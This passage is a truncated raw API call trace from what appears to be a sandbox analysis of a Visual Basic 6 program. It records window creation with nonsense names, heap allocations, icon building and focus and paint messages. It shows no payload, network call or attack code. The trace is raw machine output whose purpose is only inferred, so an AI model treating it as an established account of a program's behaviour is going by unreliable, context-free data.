(lpPrevWndFunc=0x77c2abd3, hWnd=0x102c4, Msg=0x5, wParam=0x0, lParam=0x670082) returned 0x0 [0100.532] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c4, Msg=0x3, wParam=0x0, lParam=0x2b0054) returned 0x0 [0100.532] IsWindow (hWnd=0x102c4) returned 1 [0100.532] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x210, wParam=0x30001, lParam=0x102c4) returned 0x0 [0100.532] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x14) returned 0x26c2348 [0100.532] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c4, Msg=0x30, wParam=0x150a0a50, lParam=0x0) returned 0x0 [0100.532] ShowWindow (hWnd=0x102c4, nCmdShow=5) returned 0 [0100.532] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c4, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0100.532] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xdc) returned 0x26cc478 [0100.532] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2368 [0100.532] lstrlenA (lpString="Banepakk") returned 8 [0100.533] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x9) returned 0x26c3300 [0100.533] lstrlenA (lpString="ThunderRT6") returned 10 [0100.533] lstrcpyA (in: lpString1=0x18fa88, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0100.533] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1f6, lpWindowName="Banepakk", dwStyle=0x44012004, X=55, Y=128, nWidth=140, nHeight=136, hWndParent=0x102be, hMenu=0x4, hInstance=0x72940000, lpParam=0x0) returned 0x102c6 [0100.533] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c6, Msg=0x81, wParam=0x0, lParam=0x18f66c) returned 0x1 [0100.533] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c6, Msg=0x83, wParam=0x0, lParam=0x18f658) returned 0x0 [0100.533] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c6, Msg=0x1, wParam=0x0, lParam=0x18f66c) returned 0x0 [0100.533] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c6, Msg=0x5, wParam=0x0, lParam=0x88008c) returned 0x0 [0100.534] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c6, Msg=0x3, wParam=0x0, lParam=0x800037) returned 0x0 [0100.534] IsWindow (hWnd=0x102c6) returned 1 [0100.534] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x210, wParam=0x40001, lParam=0x102c6) returned 0x0 [0100.534] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x14) returned 0x26c2388 [0100.534] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c6, Msg=0x30, wParam=0x150a0a50, lParam=0x0) returned 0x0 [0100.534] ShowWindow (hWnd=0x102c6, nCmdShow=5) returned 0 [0100.534] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0100.534] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xdc) returned 0x26cc560 [0100.534] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c23a8 [0100.534] lstrlenA (lpString="REDR") returned 4 [0100.534] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x5) returned 0x26cc648 [0100.534] lstrlenA (lpString="ThunderRT6") returned 10 [0100.534] lstrcpyA (in: lpString1=0x18fa88, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0100.534] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1f6, lpWindowName="REDR", dwStyle=0x44012004, X=69, Y=123, nWidth=24, nHeight=42, hWndParent=0x102be, hMenu=0x5, hInstance=0x72940000, lpParam=0x0) returned 0x102c8 [0100.535] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c8, Msg=0x81, wParam=0x0, lParam=0x18f66c) returned 0x1 [0100.535] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c8, Msg=0x83, wParam=0x0, lParam=0x18f658) returned 0x0 [0100.535] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c8, Msg=0x1, wParam=0x0, lParam=0x18f66c) returned 0x0 [0100.535] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c8, Msg=0x5, wParam=0x0, lParam=0x2a0018) returned 0x0 [0100.535] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c8, Msg=0x3, wParam=0x0, lParam=0x7b0045) returned 0x0 [0100.535] IsWindow (hWnd=0x102c8) returned 1 [0100.535] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x210, wParam=0x50001, lParam=0x102c8) returned 0x0 [0100.539] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x14) returned 0x26c23c8 [0100.539] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c8, Msg=0x30, wParam=0x150a0a50, lParam=0x0) returned 0x0 [0100.539] ShowWindow (hWnd=0x102c8, nCmdShow=5) returned 0 [0100.539] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c8, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0100.540] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xdc) returned 0x26cc658 [0100.540] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c23e8 [0100.540] lstrlenA (lpString="MEDITERE") returned 8 [0100.540] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x9) returned 0x26c3318 [0100.540] lstrlenA (lpString="ThunderRT6") returned 10 [0100.540] lstrcpyA (in: lpString1=0x18fa88, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0100.540] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1f6, lpWindowName="MEDITERE", dwStyle=0x44012004, X=89, Y=26, nWidth=83, nHeight=124, hWndParent=0x102be, hMenu=0x6, hInstance=0x72940000, lpParam=0x0) returned 0x102ca [0100.540] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ca, Msg=0x81, wParam=0x0, lParam=0x18f66c) returned 0x1 [0100.540] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ca, Msg=0x83, wParam=0x0, lParam=0x18f658) returned 0x0 [0100.541] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ca, Msg=0x1, wParam=0x0, lParam=0x18f66c) returned 0x0 [0100.541] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ca, Msg=0x5, wParam=0x0, lParam=0x7c0053) returned 0x0 [0100.541] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ca, Msg=0x3, wParam=0x0, lParam=0x1a0059) returned 0x0 [0100.541] IsWindow (hWnd=0x102ca) returned 1 [0100.541] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x210, wParam=0x60001, lParam=0x102ca) returned 0x0 [0100.541] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x14) returned 0x26c2408 [0100.541] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ca, Msg=0x30, wParam=0x150a0a50, lParam=0x0) returned 0x0 [0100.542] ShowWindow (hWnd=0x102ca, nCmdShow=5) returned 0 [0100.542] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ca, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0100.542] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xdc) returned 0x26cc740 [0100.542] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2428 [0100.542] lstrlenA (lpString="Aero") returned 4 [0100.542] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x5) returned 0x26cc828 [0100.542] lstrlenA (lpString="ThunderRT6") returned 10 [0100.542] lstrcpyA (in: lpString1=0x18fa88, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0100.542] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1f6, lpWindowName="Aero", dwStyle=0x44012004, X=19, Y=105, nWidth=16, nHeight=80, hWndParent=0x102be, hMenu=0x7, hInstance=0x72940000, lpParam=0x0) returned 0x102cc [0100.543] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102cc, Msg=0x81, wParam=0x0, lParam=0x18f66c) returned 0x1 [0100.543] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102cc, Msg=0x83, wParam=0x0, lParam=0x18f658) returned 0x0 [0100.543] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102cc, Msg=0x1, wParam=0x0, lParam=0x18f66c) returned 0x0 [0100.543] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102cc, Msg=0x5, wParam=0x0, lParam=0x500010) returned 0x0 [0100.543] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102cc, Msg=0x3, wParam=0x0, lParam=0x690013) returned 0x0 [0100.543] IsWindow (hWnd=0x102cc) returned 1 [0100.544] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x210, wParam=0x70001, lParam=0x102cc) returned 0x0 [0100.544] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x14) returned 0x26c2448 [0100.544] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102cc, Msg=0x30, wParam=0x150a0a50, lParam=0x0) returned 0x0 [0100.544] ShowWindow (hWnd=0x102cc, nCmdShow=5) returned 0 [0100.544] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102cc, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0100.544] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xdc) returned 0x26cc838 [0100.544] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2468 [0100.544] lstrlenA (lpString="Virga") returned 5 [0100.544] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x6) returned 0x26cc920 [0100.544] lstrlenA (lpString="ThunderRT6") returned 10 [0100.544] lstrcpyA (in: lpString1=0x18fa88, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0100.545] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1f6, lpWindowName="Virga", dwStyle=0x44012004, X=124, Y=57, nWidth=124, nHeight=113, hWndParent=0x102be, hMenu=0x8, hInstance=0x72940000, lpParam=0x0) returned 0x102ce [0100.545] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ce, Msg=0x81, wParam=0x0, lParam=0x18f66c) returned 0x1 [0100.545] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ce, Msg=0x83, wParam=0x0, lParam=0x18f658) returned 0x0 [0100.545] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ce, Msg=0x1, wParam=0x0, lParam=0x18f66c) returned 0x0 [0100.545] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ce, Msg=0x5, wParam=0x0, lParam=0x71007c) returned 0x0 [0100.545] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ce, Msg=0x3, wParam=0x0, lParam=0x39007c) returned 0x0 [0100.546] IsWindow (hWnd=0x102ce) returned 1 [0100.546] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x210, wParam=0x80001, lParam=0x102ce) returned 0x0 [0100.546] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x14) returned 0x26c2488 [0100.546] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ce, Msg=0x30, wParam=0x150a0a50, lParam=0x0) returned 0x0 [0100.546] ShowWindow (hWnd=0x102ce, nCmdShow=5) returned 0 [0100.546] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ce, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0100.546] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xdc) returned 0x26cc930 [0100.546] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c24a8 [0100.546] lstrlenA (lpString="roguishn") returned 8 [0100.546] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x9) returned 0x26c3330 [0100.546] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x14) returned 0x26c24c8 [0100.547] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xdc) returned 0x26cca18 [0100.547] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c24e8 [0100.547] OleLoadPictureEx () returned 0x0 [0101.141] GetClientRect (in: hWnd=0x102be, lpRect=0x18fbf8 | out: lpRect=0x18fbf8) returned 1 [0101.141] MapWindowPoints (in: hWndFrom=0x102be, hWndTo=0x0, lpPoints=0x18fbf8, cPoints=0x2 | out: lpPoints=0x18fbf8) returned 10158213 [0101.141] EqualRect (lprc1=0x18fbf8, lprc2=0x18fbd8) returned 1 [0101.141] SetEvent (hEvent=0xb4) returned 1 [0101.141] SendMessageA (hWnd=0x102be, Msg=0x80, wParam=0x1, lParam=0x102b5) returned 0x0 [0101.141] GetCapture () returned 0x0 [0101.141] GetCapture () returned 0x0 [0101.141] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x80, wParam=0x1, lParam=0x102b5) returned 0x0 [0101.178] GetCapture () returned 0x0 [0101.178] GetCapture () returned 0x0 [0101.178] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x102bb [0101.181] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x18fab4 | out: ppstm=0x18fab4*=0x2a1e20) returned 0x0 [0101.182] GetSystemMetrics (nIndex=49) returned 16 [0101.182] GetSystemMetrics (nIndex=50) returned 16 [0101.182] IStream:LockRegion (This=0x2a1e20, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0101.182] IStream:SetSize (This=0x2a1e20, libNewSize=0x18fa64) returned 0x0 [0101.182] IStream:SetSize (This=0x2a1e20, libNewSize=0x18fa3c) returned 0x0 [0101.182] IStream:LockRegion (This=0x2a1e20, libOffset=0x26, cb=0x0, dwLockType=0x0) returned 0x0 [0101.182] GlobalLock (hMem=0x4e000c) returned 0x2a2e00 [0101.182] IStream:SetSize (This=0x2a1e20, libNewSize=0x2a2e00) returned 0x0 [0101.182] IStream:SetSize (This=0x2a1e20, libNewSize=0x2a2e28) returned 0x0 [0101.182] GlobalUnlock (hMem=0x4e000c) returned 0 [0101.182] GlobalLock (hMem=0x4e000c) returned 0x2a2e00 [0101.182] GlobalSize (hMem=0x4e000c) returned 0x128 [0101.183] GetDC (hWnd=0x0) returned 0x170101d2 [0101.183] CreateCompatibleBitmap (hdc=0x170101d2, cx=32, cy=32) returned 0x30050a65 [0101.183] SelectObject (hdc=0x50010a54, h=0x30050a65) returned 0x185000f [0101.183] StretchDIBits (hdc=0x50010a54, xDest=0, yDest=0, DestWidth=32, DestHeight=32, xSrc=0, ySrc=0, SrcWidth=16, SrcHeight=16, lpBits=0x2a2e68, lpbmi=0x2a2e00, iUsage=0x0, rop=0xcc0020) returned 16 [0101.183] GetObjectA (in: h=0x30050a65, c=24, pv=0x18f9d4 | out: pv=0x18f9d4) returned 24 [0101.183] GlobalLock (hMem=0x4e001c) returned 0x2a5a00 [0101.183] GetBitmapBits (in: hbit=0x30050a65, cb=4096, lpvBits=0x2a5a00 | out: lpvBits=0x2a5a00) returned 4096 [0101.183] SelectObject (hdc=0x50010a54, h=0x185000f) returned 0x30050a65 [0101.183] DeleteObject (ho=0x30050a65) returned 1 [0101.183] CreateBitmap (nWidth=32, nHeight=32, nPlanes=0x1, nBitCount=0x1, lpBits=0x0) returned 0x31050a65 [0101.183] SelectObject (hdc=0x50010a54, h=0x31050a65) returned 0x185000f [0101.183] StretchDIBits (hdc=0x50010a54, xDest=0, yDest=0, DestWidth=32, DestHeight=32, xSrc=0, ySrc=0, SrcWidth=16, SrcHeight=16, lpBits=0x2a2ee8, lpbmi=0x2a2e00, iUsage=0x0, rop=0xcc0020) returned 16 [0101.183] GetObjectA (in: h=0x31050a65, c=24, pv=0x18f9bc | out: pv=0x18f9bc) returned 24 [0101.183] GlobalLock (hMem=0x4e0024) returned 0x2a2f38 [0101.183] GetBitmapBits (in: hbit=0x31050a65, cb=128, lpvBits=0x2a2f38 | out: lpvBits=0x2a2f38) returned 128 [0101.183] CreateIcon (hInstance=0x400000, nWidth=32, nHeight=32, cPlanes=0x1, cBitsPixel=0x20, lpbANDbits=0x2a2f38, lpbXORbits=0x2a5a00) returned 0x102bd [0101.184] GlobalUnlock (hMem=0x4e001c) returned 0 [0101.184] GlobalUnlock (hMem=0x4e0024) returned 0 [0101.184] SelectObject (hdc=0x50010a54, h=0x185000f) returned 0x31050a65 [0101.184] DeleteObject (ho=0x31050a65) returned 1 [0101.184] ReleaseDC (hWnd=0x0, hDC=0x170101d2) returned 1 [0101.184] GlobalUnlock (hMem=0x4e000c) returned 0 [0101.184] SendMessageA (hWnd=0x102be, Msg=0x80, wParam=0x0, lParam=0x102bd) returned 0x0 [0101.184] GetCapture () returned 0x0 [0101.184] GetCapture () returned 0x0 [0101.184] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x80, wParam=0x0, lParam=0x102bd) returned 0x0 [0101.184] IUnknown:Release (This=0x2a1e20) returned 0x0 [0101.187] IsIconic (hWnd=0x102be) returned 0 [0101.187] IsZoomed (hWnd=0x102be) returned 0 [0101.187] GetClientRect (in: hWnd=0x102be, lpRect=0x18fbec | out: lpRect=0x18fbec) returned 1 [0101.187] GetWindow (hWnd=0x102be, uCmd=0x5) returned 0x102c0 [0101.187] GetWindow (hWnd=0x102c0, uCmd=0x2) returned 0x102c2 [0101.187] GetParent (hWnd=0x102c0) returned 0x102be [0101.187] GetWindow (hWnd=0x102c2, uCmd=0x2) returned 0x102c4 [0101.187] GetParent (hWnd=0x102c2) returned 0x102be [0101.187] GetWindow (hWnd=0x102c4, uCmd=0x2) returned 0x102c6 [0101.187] GetParent (hWnd=0x102c4) returned 0x102be [0101.188] GetWindow (hWnd=0x102c6, uCmd=0x2) returned 0x102c8 [0101.188] GetParent (hWnd=0x102c6) returned 0x102be [0101.188] GetWindow (hWnd=0x102c8, uCmd=0x2) returned 0x102ca [0101.188] GetParent (hWnd=0x102c8) returned 0x102be [0101.188] GetWindow (hWnd=0x102ca, uCmd=0x2) returned 0x102cc [0101.188] GetParent (hWnd=0x102ca) returned 0x102be [0101.188] GetWindow (hWnd=0x102cc, uCmd=0x2) returned 0x102ce [0101.188] GetParent (hWnd=0x102cc) returned 0x102be [0101.188] GetWindow (hWnd=0x102ce, uCmd=0x2) returned 0x0 [0101.188] GetParent (hWnd=0x102ce) returned 0x102be [0101.188] GetCurrentThreadId () returned 0xd38 [0101.188] ShowWindow (hWnd=0x102be, nCmdShow=1) returned 0 [0101.189] GetCapture () returned 0x0 [0101.189] GetCapture () returned 0x0 [0101.189] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0101.189] GetCapture () returned 0x0 [0101.189] GetCapture () returned 0x0 [0101.189] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x46, wParam=0x0, lParam=0x18fb3c) returned 0x0 [0101.189] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x46, wParam=0x0, lParam=0x18fb3c) returned 0x0 [0101.190] GetCapture () returned 0x0 [0101.190] GetCapture () returned 0x0 [0101.190] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x46, wParam=0x0, lParam=0x18fb3c) returned 0x0 [0101.190] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x46, wParam=0x0, lParam=0x18fb3c) returned 0x0 [0101.190] GetWindowLongA (hWnd=0x102ba, nIndex=0) returned 40575132 [0101.190] GetCapture () returned 0x0 [0101.191] GetCapture () returned 0x0 [0101.191] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0101.191] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0101.191] GetCapture () returned 0x0 [0101.191] GetCapture () returned 0x0 [0101.191] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0101.191] GetCapture () returned 0x0 [0101.191] GetCapture () returned 0x0 [0101.191] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x102bd [0101.192] GetCapture () returned 0x0 [0101.192] GetCapture () returned 0x0 [0101.192] IsIconic (hWnd=0x102be) returned 0 [0101.193] GetFocus () returned 0x0 [0101.193] GetWindowLongA (hWnd=0x102c0, nIndex=-16) returned 1409359876 [0101.193] IsWindowVisible (hWnd=0x102c0) returned 1 [0101.193] IsWindowEnabled (hWnd=0x102c0) returned 1 [0101.193] GetParent (hWnd=0x102c0) returned 0x102be [0101.193] IsWindowEnabled (hWnd=0x102be) returned 1 [0101.193] GetParent (hWnd=0x102be) returned 0x0 [0101.193] GetWindowLongA (hWnd=0x102c2, nIndex=-16) returned 1409359876 [0101.193] IsWindowVisible (hWnd=0x102c2) returned 1 [0101.193] IsWindowEnabled (hWnd=0x102c2) returned 1 [0101.193] GetParent (hWnd=0x102c2) returned 0x102be [0101.193] IsWindowEnabled (hWnd=0x102be) returned 1 [0101.193] GetParent (hWnd=0x102be) returned 0x0 [0101.193] GetWindowLongA (hWnd=0x102c4, nIndex=-16) returned 1409359876 [0101.193] IsWindowVisible (hWnd=0x102c4) returned 1 [0101.193] IsWindowEnabled (hWnd=0x102c4) returned 1 [0101.193] GetParent (hWnd=0x102c4) returned 0x102be [0101.193] IsWindowEnabled (hWnd=0x102be) returned 1 [0101.193] GetParent (hWnd=0x102be) returned 0x0 [0101.193] GetWindowLongA (hWnd=0x102c6, nIndex=-16) returned 1409359876 [0101.193] IsWindowVisible (hWnd=0x102c6) returned 1 [0101.193] IsWindowEnabled (hWnd=0x102c6) returned 1 [0101.193] GetParent (hWnd=0x102c6) returned 0x102be [0101.193] IsWindowEnabled (hWnd=0x102be) returned 1 [0101.193] GetParent (hWnd=0x102be) returned 0x0 [0101.193] GetWindowLongA (hWnd=0x102c8, nIndex=-16) returned 1409359876 [0101.193] IsWindowVisible (hWnd=0x102c8) returned 1 [0101.193] IsWindowEnabled (hWnd=0x102c8) returned 1 [0101.193] GetParent (hWnd=0x102c8) returned 0x102be [0101.193] IsWindowEnabled (hWnd=0x102be) returned 1 [0101.193] GetParent (hWnd=0x102be) returned 0x0 [0101.194] GetWindowLongA (hWnd=0x102ca, nIndex=-16) returned 1409359876 [0101.194] IsWindowVisible (hWnd=0x102ca) returned 1 [0101.194] IsWindowEnabled (hWnd=0x102ca) returned 1 [0101.194] GetParent (hWnd=0x102ca) returned 0x102be [0101.194] IsWindowEnabled (hWnd=0x102be) returned 1 [0101.194] GetParent (hWnd=0x102be) returned 0x0 [0101.194] GetWindowLongA (hWnd=0x102cc, nIndex=-16) returned 1409359876 [0101.194] IsWindowVisible (hWnd=0x102cc) returned 1 [0101.194] IsWindowEnabled (hWnd=0x102cc) returned 1 [0101.194] GetParent (hWnd=0x102cc) returned 0x102be [0101.194] IsWindowEnabled (hWnd=0x102be) returned 1 [0101.194] GetParent (hWnd=0x102be) returned 0x0 [0101.194] GetWindowLongA (hWnd=0x102ce, nIndex=-16) returned 1409359876 [0101.194] IsWindowVisible (hWnd=0x102ce) returned 1 [0101.194] IsWindowEnabled (hWnd=0x102ce) returned 1 [0101.194] GetParent (hWnd=0x102ce) returned 0x102be [0101.194] IsWindowEnabled (hWnd=0x102be) returned 1 [0101.194] GetParent (hWnd=0x102be) returned 0x0 [0101.194] GetFocus () returned 0x0 [0101.194] IsWindowEnabled (hWnd=0x102c0) returned 1 [0101.194] GetWindowThreadProcessId (in: hWnd=0x102c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd38 [0101.194] GetCurrentThreadId () returned 0xd38 [0101.194] SetFocus (hWnd=0x102c0) returned 0x0 [0101.226] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0101.226] GetCapture () returned 0x0 [0101.226] GetCapture () returned 0x0 [0101.226] IsWindow (hWnd=0x102c0) returned 1 [0101.226] OleTranslateColor () returned 0x0 [0101.226] OleTranslateColor () returned 0x0 [0101.226] SetTextColor (hdc=0x170101d2, color=0x0) returned 0x0 [0101.226] SetBkColor (hdc=0x170101d2, color=0xf0f0f0) returned 0xffffff [0101.226] OleTranslateColor () returned 0x0 [0101.226] CreateSolidBrush (color=0xf0f0f0) returned 0x2100a5f [0101.228] GetCapture () returned 0x0 [0101.228] GetCapture () returned 0x0 [0101.228] IsWindow (hWnd=0x102c0) returned 1 [0101.228] IsWindow (hWnd=0x102c0) returned 1 [0101.228] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x0 [0101.228] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0xf1, wParam=0x1, lParam=0x0) returned 0x0 [0101.228] GetCapture () returned 0x0 [0101.228] GetCapture () returned 0x0 [0101.228] IsWindow (hWnd=0x102c0) returned 1 [0101.228] OleTranslateColor () returned 0x0 [0101.228] OleTranslateColor () returned 0x0 [0101.228] SetTextColor (hdc=0x170101d2, color=0x0) returned 0x0 [0101.228] SetBkColor (hdc=0x170101d2, color=0xf0f0f0) returned 0xffffff [0101.228] OleTranslateColor () returned 0x0 [0101.228] UnrealizeObject (h=0x2100a5f) returned 1 [0101.229] GetParent (hWnd=0x102c0) returned 0x102be [0101.229] GetWindow (hWnd=0x102be, uCmd=0x5) returned 0x102c0 [0101.229] GetWindow (hWnd=0x102c0, uCmd=0x2) returned 0x102c2 [0101.229] GetParent (hWnd=0x102c0) returned 0x102be [0101.229] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c2, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x0 [0101.229] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c2, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0101.229] GetWindow (hWnd=0x102c2, uCmd=0x2) returned 0x102c4 [0101.229] GetParent (hWnd=0x102c2) returned 0x102be [0101.229] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c4, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x0 [0101.229] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c4, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0101.229] GetWindow (hWnd=0x102c4, uCmd=0x2) returned 0x102c6 [0101.229] GetParent (hWnd=0x102c4) returned 0x102be [0101.229] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c6, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x0 [0101.229] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c6, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0101.229] GetWindow (hWnd=0x102c6, uCmd=0x2) returned 0x102c8 [0101.229] GetParent (hWnd=0x102c6) returned 0x102be [0101.229] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c8, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x0 [0101.229] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c8, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0101.230] GetWindow (hWnd=0x102c8, uCmd=0x2) returned 0x102ca [0101.230] GetParent (hWnd=0x102c8) returned 0x102be [0101.230] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ca, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x0 [0101.230] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ca, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0101.230] GetWindow (hWnd=0x102ca, uCmd=0x2) returned 0x102cc [0101.230] GetParent (hWnd=0x102ca) returned 0x102be [0101.230] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102cc, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x0 [0101.230] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102cc, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0101.230] GetWindow (hWnd=0x102cc, uCmd=0x2) returned 0x102ce [0101.230] GetParent (hWnd=0x102cc) returned 0x102be [0101.230] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ce, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x0 [0101.230] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, 